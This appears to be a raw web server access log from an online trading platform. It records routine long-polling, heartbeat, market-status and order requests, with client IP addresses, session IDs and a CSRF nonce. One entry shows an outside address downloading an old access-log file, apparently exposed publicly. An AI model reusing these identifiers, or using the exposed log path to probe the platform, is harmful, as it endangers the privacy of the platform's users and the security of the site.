[09/Jan/2026:15:35:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944428883 HTTP/1.1" -
[09/Jan/2026:15:35:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944430261 HTTP/1.1" -
[09/Jan/2026:15:36:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944431873 HTTP/1.1" -
[09/Jan/2026:15:36:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944432910 HTTP/1.1" -
[09/Jan/2026:15:36:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944434888 HTTP/1.1" -
[09/Jan/2026:15:36:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944435300 HTTP/1.1" -
[09/Jan/2026:15:36:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:36:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944437014 HTTP/1.1" -
[09/Jan/2026:15:36:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944437949 HTTP/1.1" -
[09/Jan/2026:15:36:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944440344 HTTP/1.1" -
[09/Jan/2026:15:36:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944440887 HTTP/1.1" -
[09/Jan/2026:15:36:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944442069 HTTP/1.1" -
[09/Jan/2026:15:36:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944442974 HTTP/1.1" -
[09/Jan/2026:15:36:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944458352 HTTP/1.1" -
[09/Jan/2026:15:36:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:36:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:10 +0800] 47.128.56.78 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241206 HTTP/1.1" 8945145
[09/Jan/2026:15:36:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944445386 HTTP/1.1" -
[09/Jan/2026:15:36:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944446887 HTTP/1.1" -
[09/Jan/2026:15:36:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944447331 HTTP/1.1" -
[09/Jan/2026:15:36:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944448001 HTTP/1.1" -
[09/Jan/2026:15:36:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944463601 HTTP/1.1" -
[09/Jan/2026:15:36:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944450429 HTTP/1.1" -
[09/Jan/2026:15:36:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:36:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:36:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944452891 HTTP/1.1" -
[09/Jan/2026:15:36:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944453048 HTTP/1.1" -
[09/Jan/2026:15:36:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944452460 HTTP/1.1" -
[09/Jan/2026:15:36:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944468658 HTTP/1.1" -
[09/Jan/2026:15:36:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944455461 HTTP/1.1" -
[09/Jan/2026:15:36:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:36:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:36:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944458100 HTTP/1.1" -
[09/Jan/2026:15:36:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944457624 HTTP/1.1" -
[09/Jan/2026:15:36:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944473751 HTTP/1.1" -
[09/Jan/2026:15:36:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944458882 HTTP/1.1" -
[09/Jan/2026:15:36:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:36:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:36:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:36:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1203
[09/Jan/2026:15:36:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944460500 HTTP/1.1" -
[09/Jan/2026:15:36:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:36:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:36:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1021
[09/Jan/2026:15:36:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:36:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944463130 HTTP/1.1" -
[09/Jan/2026:15:36:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944478806 HTTP/1.1" -
[09/Jan/2026:15:36:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944462670 HTTP/1.1" -
[09/Jan/2026:15:36:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:36:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1591
[09/Jan/2026:15:36:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944464889 HTTP/1.1" -
[09/Jan/2026:15:36:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944465555 HTTP/1.1" -
[09/Jan/2026:15:36:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:36:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944468171 HTTP/1.1" -
[09/Jan/2026:15:36:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944483882 HTTP/1.1" -
[09/Jan/2026:15:36:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944467897 HTTP/1.1" -
[09/Jan/2026:15:36:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944470597 HTTP/1.1" -
[09/Jan/2026:15:36:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944470893 HTTP/1.1" -
[09/Jan/2026:15:36:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:36:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944473210 HTTP/1.1" -
[09/Jan/2026:15:36:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944488942 HTTP/1.1" -
[09/Jan/2026:15:36:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944472944 HTTP/1.1" -
[09/Jan/2026:15:36:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944475666 HTTP/1.1" -
[09/Jan/2026:15:36:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944476880 HTTP/1.1" -
[09/Jan/2026:15:36:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944478260 HTTP/1.1" -
[09/Jan/2026:15:36:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944493971 HTTP/1.1" -
[09/Jan/2026:15:36:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944478133 HTTP/1.1" -
[09/Jan/2026:15:36:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:36:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
